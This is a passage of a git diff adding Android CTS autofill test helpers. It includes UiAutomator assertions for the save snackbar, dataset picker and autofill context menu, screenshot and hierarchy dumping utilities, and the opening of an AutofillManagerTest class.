+        assertThat(obj).isNotNull();
+        return obj;
+    }
+
+    /**
+     * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
+     *
+     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+     * it might pass without really asserting anything.
+     */
+    public void assertGoneByRelativeId(@NonNull String id, @NonNull Timeout timeout) {
+        assertGoneByRelativeId(/* parent = */ null, id, timeout);
+    }
+
+    public void assertGoneByRelativeId(int resId, @NonNull Timeout timeout) {
+        assertGoneByRelativeId(/* parent = */ null, getIdName(resId), timeout);
+    }
+
+    private String getIdName(int resId) {
+        return mContext.getResources().getResourceEntryName(resId);
+    }
+
+    /**
+     * Asserts the id is not shown on the parent anymore, using a resource id from the test package.
+     *
+     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+     * it might pass without really asserting anything.
+     */
+    public void assertGoneByRelativeId(@Nullable UiObject2 parent, @NonNull String id,
+            @NonNull Timeout timeout) {
+        final SearchCondition<Boolean> condition = Until.gone(By.res(mPackageName, id));
+        final boolean gone = parent != null
+                ? parent.wait(condition, timeout.ms())
+                : mDevice.wait(condition, timeout.ms());
+        if (!gone) {
+            final String message = "Object with id '" + id + "' should be gone after "
+                    + timeout + " ms";
+            dumpScreen(message);
+            throw new RetryableException(message);
+        }
+    }
+
+    public UiObject2 assertShownByRelativeId(int resId) throws Exception {
+        return assertShownByRelativeId(getIdName(resId));
+    }
+
+    public void assertNeverShownByRelativeId(@NonNull String description, int resId, long timeout)
+            throws Exception {
+        final BySelector selector = By.res(Helper.MY_PACKAGE, getIdName(resId));
+        assertNeverShown(description, selector, timeout);
+    }
+
+    /**
+     * Asserts that a {@code selector} is not showing after {@code timeout} milliseconds.
+     */
+    protected void assertNeverShown(String description, BySelector selector, long timeout)
+            throws Exception {
+        SystemClock.sleep(timeout);
+        final UiObject2 object = mDevice.findObject(selector);
+        if (object != null) {
+            throw new AssertionError(
+                    String.format("Should not be showing %s after %dms, but got %s",
+                            description, timeout, getChildrenAsText(object)));
+        }
+    }
+
+    /**
+     * Gets the text set on a view.
+     */
+    public String getTextByRelativeId(String id) throws Exception {
+        return waitForObject(By.res(mPackageName, id)).getText();
+    }
+
+    /**
+     * Focus in the view with the given resource id.
+     */
+    public void focusByRelativeId(String id) throws Exception {
+        waitForObject(By.res(mPackageName, id)).click();
+    }
+
+    /**
+     * Sets a new text on a view.
+     */
+    public void setTextByRelativeId(String id, String newText) throws Exception {
+        waitForObject(By.res(mPackageName, id)).setText(newText);
+    }
+
+    /**
+     * Asserts the save snackbar is showing and returns it.
+     */
+    public UiObject2 assertSaveShowing(int type) throws Exception {
+        return assertSaveShowing(SAVE_TIMEOUT, type);
+    }
+
+    /**
+     * Asserts the save snackbar is showing and returns it.
+     */
+    public UiObject2 assertSaveShowing(Timeout timeout, int type) throws Exception {
+        return assertSaveShowing(null, timeout, type);
+    }
+
+    /**
+     * Asserts the save snackbar is showing with the Update message and returns it.
+     */
+    public UiObject2 assertUpdateShowing(int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ true, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                null, SAVE_TIMEOUT, types);
+    }
+
+    /**
+     * Presses the Back button.
+     */
+    public void pressBack() {
+        Log.d(TAG, "pressBack()");
+        mDevice.pressBack();
+    }
+
+    /**
+     * Presses the Home button.
+     */
+    public void pressHome() {
+        Log.d(TAG, "pressHome()");
+        mDevice.pressHome();
+    }
+
+    /**
+     * Asserts the save snackbar is not showing.
+     */
+    public void assertSaveNotShowing(int type) throws Exception {
+        assertNeverShown("save UI for type " + type, SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    public void assertSaveNotShowing() throws Exception {
+        assertNeverShown("save UI", SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    private String getSaveTypeString(int type) {
+        final String typeResourceName;
+        switch (type) {
+            case SAVE_DATA_TYPE_PASSWORD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PASSWORD;
+                break;
+            case SAVE_DATA_TYPE_ADDRESS:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_ADDRESS;
+                break;
+            case SAVE_DATA_TYPE_CREDIT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD;
+                break;
+            case SAVE_DATA_TYPE_USERNAME:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_USERNAME;
+                break;
+            case SAVE_DATA_TYPE_EMAIL_ADDRESS:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
+                break;
+            case SAVE_DATA_TYPE_DEBIT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD;
+                break;
+            case SAVE_DATA_TYPE_PAYMENT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD;
+                break;
+            case SAVE_DATA_TYPE_GENERIC_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD;
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported type: " + type);
+        }
+        return getString(typeResourceName);
+    }
+
+    public UiObject2 assertSaveShowing(String description, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                description, SAVE_TIMEOUT, types);
+    }
+
+    public UiObject2 assertSaveShowing(String description, Timeout timeout, int... types)
+            throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                description, timeout, types);
+    }
+
+    public UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
+            int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, negativeButtonStyle, description,
+                SAVE_TIMEOUT, types);
+    }
+
+    public UiObject2 assertSaveShowing(int positiveButtonStyle, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                positiveButtonStyle, /* description= */ null, SAVE_TIMEOUT, types);
+    }
+
+    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
+            String description, Timeout timeout, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(update, negativeButtonStyle,
+                SaveInfo.POSITIVE_BUTTON_STYLE_SAVE, description, timeout, types);
+    }
+
+    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
+            int positiveButtonStyle, String description, Timeout timeout, int... types)
+            throws Exception {
+
+        final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
+
+        final UiObject2 titleView =
+                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), timeout);
+        assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
+                .isNotNull();
+
+        final UiObject2 iconView =
+                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), timeout);
+        assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
+                .isNotNull();
+
+        final String actualTitle = titleView.getText();
+        Log.d(TAG, "save title: " + actualTitle);
+
+        final String titleId, titleWithTypeId;
+        if (update) {
+            titleId = RESOURCE_STRING_UPDATE_TITLE;
+            titleWithTypeId = RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE;
+        } else {
+            titleId = RESOURCE_STRING_SAVE_TITLE;
+            titleWithTypeId = RESOURCE_STRING_SAVE_TITLE_WITH_TYPE;
+        }
+
+        final String serviceLabel = InstrumentedAutoFillService.getServiceLabel();
+        switch (types.length) {
+            case 1:
+                final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
+                        ? Html.fromHtml(getString(titleId, serviceLabel), 0).toString()
+                        : Html.fromHtml(getString(titleWithTypeId,
+                                getSaveTypeString(types[0]), serviceLabel), 0).toString();
+                assertThat(actualTitle).isEqualTo(expectedTitle);
+                break;
+            case 2:
+                // We cannot predict the order...
+                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
+                break;
+            case 3:
+                // We cannot predict the order...
+                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[2]));
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid types: " + Arrays.toString(types));
+        }
+
+        if (description != null) {
+            final UiObject2 saveSubTitle = snackbar.findObject(By.text(description));
+            assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
+        }
+
+        final String positiveButtonStringId;
+        switch (positiveButtonStyle) {
+            case SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE:
+                positiveButtonStringId = RESOURCE_STRING_CONTINUE_BUTTON_YES;
+                break;
+            default:
+                positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
+                        : RESOURCE_STRING_SAVE_BUTTON_YES;
+        }
+        final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
+        final UiObject2 positiveButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
+        assertWithMessage("wrong text on positive button")
+                .that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
+
+        final String negativeButtonStringId;
+        if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) {
+            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NOT_NOW;
+        } else if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER) {
+            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NEVER;
+        } else {
+            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+        }
+        final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+        final UiObject2 negativeButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), timeout);
+        assertWithMessage("wrong text on negative button")
+                .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
+
+        final String expectedAccessibilityTitle =
+                getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
+        assertAccessibilityTitle(snackbar, expectedAccessibilityTitle);
+
+        return snackbar;
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(boolean yesDoIt, int... types) throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, types);
+        saveForAutofill(saveSnackBar, yesDoIt);
+    }
+
+    public void updateForAutofill(boolean yesDoIt, int... types) throws Exception {
+        final UiObject2 saveUi = assertUpdateShowing(types);
+        saveForAutofill(saveUi, yesDoIt);
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types)
+            throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle, null, types);
+        saveForAutofill(saveSnackBar, yesDoIt);
+    }
+
+    /**
+     * Taps the positive button in the save snackbar.
+     *
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(int positiveButtonStyle, int... types) throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(positiveButtonStyle, types);
+        saveForAutofill(saveSnackBar, /* yesDoIt= */ true);
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param saveSnackBar Save snackbar, typically obtained through
+     *            {@link #assertSaveShowing(int)}.
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     */
+    public void saveForAutofill(UiObject2 saveSnackBar, boolean yesDoIt) {
+        final String id = yesDoIt ? "autofill_save_yes" : "autofill_save_no";
+
+        final UiObject2 button = saveSnackBar.findObject(By.res("android", id));
+        assertWithMessage("save button (%s)", id).that(button).isNotNull();
+        button.click();
+    }
+
+    /**
+     * Gets the AUTOFILL contextual menu by long pressing a text field.
+     *
+     * <p><b>NOTE:</b> this method should only be called in scenarios where we explicitly want to
+     * test the overflow menu. For all other scenarios where we want to test manual autofill, it's
+     * better to call {@code AFM.requestAutofill()} directly, because it's less error-prone and
+     * faster.
+     *
+     * @param id resource id of the field.
+     */
+    public UiObject2 getAutofillMenuOption(String id) throws Exception {
+        final UiObject2 field = waitForObject(By.res(mPackageName, id));
+        // TODO: figure out why obj.longClick() doesn't always work
+        field.click(LONG_PRESS_MS);
+
+        List<UiObject2> menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
+        final String expectedText = getAutofillContextualMenuTitle();
+
+        final StringBuffer menuNames = new StringBuffer();
+
+        // Check first menu for AUTOFILL
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in first menu");
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+
+        menuNames.append(";");
+
+        // First menu does not have AUTOFILL, check overflow
+        final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
+
+        // Click overflow menu button.
+        final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
+        overflowMenu.click();
+
+        // Wait for overflow menu to show.
+        mDevice.wait(Until.gone(overflowSelector), 1000);
+
+        menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in overflow menu");
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+        throw new RetryableException("no '%s' on '%s'", expectedText, menuNames);
+    }
+
+    String getAutofillContextualMenuTitle() {
+        return getString(RESOURCE_STRING_AUTOFILL);
+    }
+
+    /**
+     * Gets a string from the Android resources.
+     */
+    private String getString(String id) {
+        final Resources resources = mContext.getResources();
+        final int stringId = resources.getIdentifier(id, "string", "android");
+        try {
+            return resources.getString(stringId);
+        } catch (Resources.NotFoundException e) {
+            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+                    + ": ", e);
+        }
+    }
+
+    /**
+     * Gets a string from the Android resources.
+     */
+    private String getString(String id, Object... formatArgs) {
+        final Resources resources = mContext.getResources();
+        final int stringId = resources.getIdentifier(id, "string", "android");
+        try {
+            return resources.getString(stringId, formatArgs);
+        } catch (Resources.NotFoundException e) {
+            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+                    + ": ", e);
+        }
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     */
+    private UiObject2 waitForObject(BySelector selector) throws Exception {
+        return waitForObject(selector, mDefaultTimeout);
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param parent where to find the object (or {@code null} to use device's root).
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms.
+     * @param dumpOnError whether the window hierarchy should be dumped if the object is not found.
+     */
+    private UiObject2 waitForObject(UiObject2 parent, BySelector selector, Timeout timeout,
+            boolean dumpOnError) throws Exception {
+        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
+        try {
+            return timeout.run("waitForObject(" + selector + ")", () -> {
+                return parent != null
+                        ? parent.findObject(selector)
+                        : mDevice.findObject(selector);
+
+            });
+        } catch (RetryableException e) {
+            if (dumpOnError) {
+                dumpScreen("waitForObject() for " + selector + "on "
+                        + (parent == null ? "mDevice" : parent) + " failed");
+            }
+            throw e;
+        }
+    }
+
+    public UiObject2 waitForObject(@Nullable UiObject2 parent, @NonNull BySelector selector,
+            @NonNull Timeout timeout)
+            throws Exception {
+        return waitForObject(parent, selector, timeout, DUMP_ON_ERROR);
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    protected UiObject2 waitForObject(@NonNull BySelector selector, @NonNull Timeout timeout)
+            throws Exception {
+        return waitForObject(/* parent= */ null, selector, timeout);
+    }
+
+    /**
+     * Waits for and returns a child from a parent {@link UiObject2}.
+     */
+    public UiObject2 assertChildText(UiObject2 parent, String resourceId, String expectedText)
+            throws Exception {
+        final UiObject2 child = waitForObject(parent, By.res(mPackageName, resourceId),
+                Timeouts.UI_TIMEOUT);
+        assertWithMessage("wrong text for view '%s'", resourceId).that(child.getText())
+                .isEqualTo(expectedText);
+        return child;
+    }
+
+    /**
+     * Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
+     * {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
+     */
+    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
+        try {
+            return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
+                switch (event.getEventType()) {
+                    case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
+                    case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
+                        return true;
+                    default:
+                        Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
+                }
+                return false;
+            }, timeoutMillis);
+        } catch (TimeoutException e) {
+            throw new WindowChangeTimeoutException(e, timeoutMillis);
+        }
+    }
+
+    public AccessibilityEvent waitForWindowChange(Runnable runnable) {
+        return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
+    }
+
+    /**
+     * Waits for and returns a list of objects.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    private List<UiObject2> waitForObjects(BySelector selector, Timeout timeout) throws Exception {
+        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
+        try {
+            return timeout.run("waitForObject(" + selector + ")", () -> {
+                final List<UiObject2> uiObjects = mDevice.findObjects(selector);
+                if (uiObjects != null && !uiObjects.isEmpty()) {
+                    return uiObjects;
+                }
+                return null;
+
+            });
+
+        } catch (RetryableException e) {
+            dumpScreen("waitForObjects() for " + selector + "failed");
+            throw e;
+        }
+    }
+
+    private UiObject2 findDatasetPicker(Timeout timeout) throws Exception {
+        // The UI element here is flaky. Sometimes the UI automator returns a StateObject.
+        // Retry is put in place here to make sure that we catch the object.
+        UiObject2 picker = null;
+        int retryCount = 0;
+        final String expectedTitle = getString(RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE);
+        while (retryCount < MAX_UIOBJECT_RETRY_COUNT) {
+            try {
+                picker = waitForObject(DATASET_PICKER_SELECTOR, timeout);
+                assertAccessibilityTitle(picker, expectedTitle);
+                break;
+            } catch (StaleObjectException e) {
+                Log.d(TAG, "Retry grabbing view class");
+            }
+            retryCount++;
+        }
+        assertWithMessage(expectedTitle + " not found").that(retryCount).isLessThan(
+                MAX_UIOBJECT_RETRY_COUNT);
+
+        if (picker != null) {
+            mOkToCallAssertNoDatasets = true;
+        }
+
+        return picker;
+    }
+
+    /**
+     * Asserts a given object has the expected accessibility title.
+     */
+    private void assertAccessibilityTitle(UiObject2 object, String expectedTitle) {
+        // TODO: ideally it should get the AccessibilityWindowInfo from the object, but UiAutomator
+        // does not expose that.
+        for (AccessibilityWindowInfo window : mAutoman.getWindows()) {
+            final CharSequence title = window.getTitle();
+            if (title != null && title.toString().equals(expectedTitle)) {
+                return;
+            }
+        }
+        throw new RetryableException("Title '%s' not found for %s", expectedTitle, object);
+    }
+
+    /**
+     * Sets the the screen orientation.
+     *
+     * @param orientation typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
+     *
+     * @throws RetryableException if value didn't change.
+     */
+    public void setScreenOrientation(int orientation) throws Exception {
+        mAutoman.setRotation(orientation);
+
+        UI_SCREEN_ORIENTATION_TIMEOUT.run("setScreenOrientation(" + orientation + ")", () -> {
+            return getScreenOrientation() == orientation ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Gets the value of the screen orientation.
+     *
+     * @return typically {@link #LANDSCAPE} or {@link #PORTRAIT}.
+     */
+    public int getScreenOrientation() {
+        return mDevice.getDisplayRotation();
+    }
+
+    /**
+     * Dumps the current view hierarchy and take a screenshot and save both locally so they can be
+     * inspected later.
+     */
+    public void dumpScreen(@NonNull String cause) {
+        try {
+            final File file = Helper.createTestFile("hierarchy.xml");
+            if (file == null) return;
+            Log.w(TAG, "Dumping window hierarchy because " + cause + " on " + file);
+            try (FileInputStream fis = new FileInputStream(file)) {
+                mDevice.dumpWindowHierarchy(file);
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "error dumping screen on " + cause, e);
+        } finally {
+            takeScreenshotAndSave();
+        }
+    }
+
+    private Rect cropScreenshotWithoutScreenDecoration(Activity activity) {
+        final WindowInsets[] inset = new WindowInsets[1];
+        final View[] rootView = new View[1];
+
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
+            rootView[0] = activity.getWindow().getDecorView();
+            inset[0] = rootView[0].getRootWindowInsets();
+        });
+        final int navBarHeight = inset[0].getStableInsetBottom();
+        final int statusBarHeight = inset[0].getStableInsetTop();
+
+        return new Rect(0, statusBarHeight, rootView[0].getWidth(),
+                rootView[0].getHeight() - navBarHeight - statusBarHeight);
+    }
+
+    // TODO(b/74358143): ideally we should take a screenshot limited by the boundaries of the
+    // activity window, so external elements (such as the clock) are filtered out and don't cause
+    // test flakiness when the contents are compared.
+    public Bitmap takeScreenshot() {
+        return takeScreenshotWithRect(null);
+    }
+
+    public Bitmap takeScreenshot(@NonNull Activity activity) {
+        // crop the screenshot without screen decoration to prevent test flakiness.
+        final Rect rect = cropScreenshotWithoutScreenDecoration(activity);
+        return takeScreenshotWithRect(rect);
+    }
+
+    private Bitmap takeScreenshotWithRect(@Nullable Rect r) {
+        final long before = SystemClock.elapsedRealtime();
+        final Bitmap bitmap = mAutoman.takeScreenshot();
+        final long delta = SystemClock.elapsedRealtime() - before;
+        Log.v(TAG, "Screenshot taken in " + delta + "ms");
+        if (r == null) {
+            return bitmap;
+        }
+        try {
+            return Bitmap.createBitmap(bitmap, r.left, r.top, r.right, r.bottom);
+        } finally {
+            if (bitmap != null) {
+                bitmap.recycle();
+            }
+        }
+    }
+
+    /**
+     * Takes a screenshot and save it in the file system for post-mortem analysis.
+     */
+    public void takeScreenshotAndSave() {
+        File file = null;
+        try {
+            file = Helper.createTestFile("screenshot.png");
+            if (file != null) {
+                Log.i(TAG, "Taking screenshot on " + file);
+                final Bitmap screenshot = takeScreenshot();
+                Helper.dumpBitmap(screenshot, file);
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Error taking screenshot and saving on " + file, e);
+        }
+    }
+
+    /**
+     * Asserts the contents of a child element.
+     *
+     * @param parent parent object
+     * @param childId (relative) resource id of the child
+     * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
+     * child with it.
+     */
+    public void assertChild(@NonNull UiObject2 parent, @NonNull String childId,
+            @Nullable Visitor<UiObject2> assertion) {
+        final UiObject2 child = parent.findObject(By.res(mPackageName, childId));
+        try {
+            if (assertion != null) {
+                assertWithMessage("Didn't find child with id '%s'", childId).that(child)
+                        .isNotNull();
+                try {
+                    assertion.visit(child);
+                } catch (Throwable t) {
+                    throw new AssertionError("Error on child '" + childId + "'", t);
+                }
+            } else {
+                assertWithMessage("Shouldn't find child with id '%s'", childId).that(child)
+                        .isNull();
+            }
+        } catch (RuntimeException | Error e) {
+            dumpScreen("assertChild(" + childId + ") failed: " + e);
+            throw e;
+        }
+    }
+
+    /**
+     * Finds the first {@link URLSpan} on the current screen.
+     */
+    public URLSpan findFirstUrlSpanWithText(String str) throws Exception {
+        final List<AccessibilityNodeInfo> list = mAutoman.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(str);
+        if (list.isEmpty()) {
+            throw new AssertionError("Didn't found AccessibilityNodeInfo with " + str);
+        }
+
+        final AccessibilityNodeInfo text = list.get(0);
+        final CharSequence accessibilityTextWithSpan = text.getText();
+        if (!(accessibilityTextWithSpan instanceof Spanned)) {
+            throw new AssertionError("\"" + text.getViewIdResourceName() + "\" was not a Spanned");
+        }
+
+        final URLSpan[] spans = ((Spanned) accessibilityTextWithSpan)
+                .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
+        return spans[0];
+    }
+
+    public boolean scrollToTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid triggering navigation gestures
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Visitor.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Visitor.java
new file mode 100644
index 0000000..b276a81
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Visitor.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+/**
+ * A generic visitor.
+ *
+ * <p>Typically used by activities under test to provide a way to run an action on the view using
+ * the UI thread. Example:
+ * <pre><code>
+ * void onUsername(ViewVisitor<EditText> v) {
+ *     runOnUiThread(() -> v.visit(mUsername));
+ * }
+ * </code></pre>
+ */
+// TODO: move to common code
+public interface Visitor<T> {
+
+    void visit(T object);
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/WindowChangeTimeoutException.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/WindowChangeTimeoutException.java
new file mode 100644
index 0000000..82c2303
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/WindowChangeTimeoutException.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.RetryableException;
+
+public final class WindowChangeTimeoutException extends RetryableException {
+
+    public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
+        super(cause, "no window change event in %dms", timeoutMillis);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillManagerTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillManagerTest.java
new file mode 100644
index 0000000..09bde50
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/AutofillManagerTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.unittests;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.testcore.Helper;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+
+import org.junit.ClassRule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AutofillManagerTest {
+
+    private static final String TAG = "AutofillManagerTest";
+
+    private static final int AUTOFILL_ENABLE = 1;
+    private static final int AUTOFILL_DISABLE = 2;
+    private static final String OUTSIDE_QUERYAUTOFILLSTATUS_APK =
+            "TestAutofillServiceApp.apk";
+
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    @ClassRule
+    public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
+            new SettingsStateKeeperRule(sContext, Settings.Secure.AUTOFILL_SERVICE);
+
+    @Test
+    @AppModeFull(reason = "Package cannot install in instant app mode")
+    public void testHasEnabledAutofillServices() throws Exception {
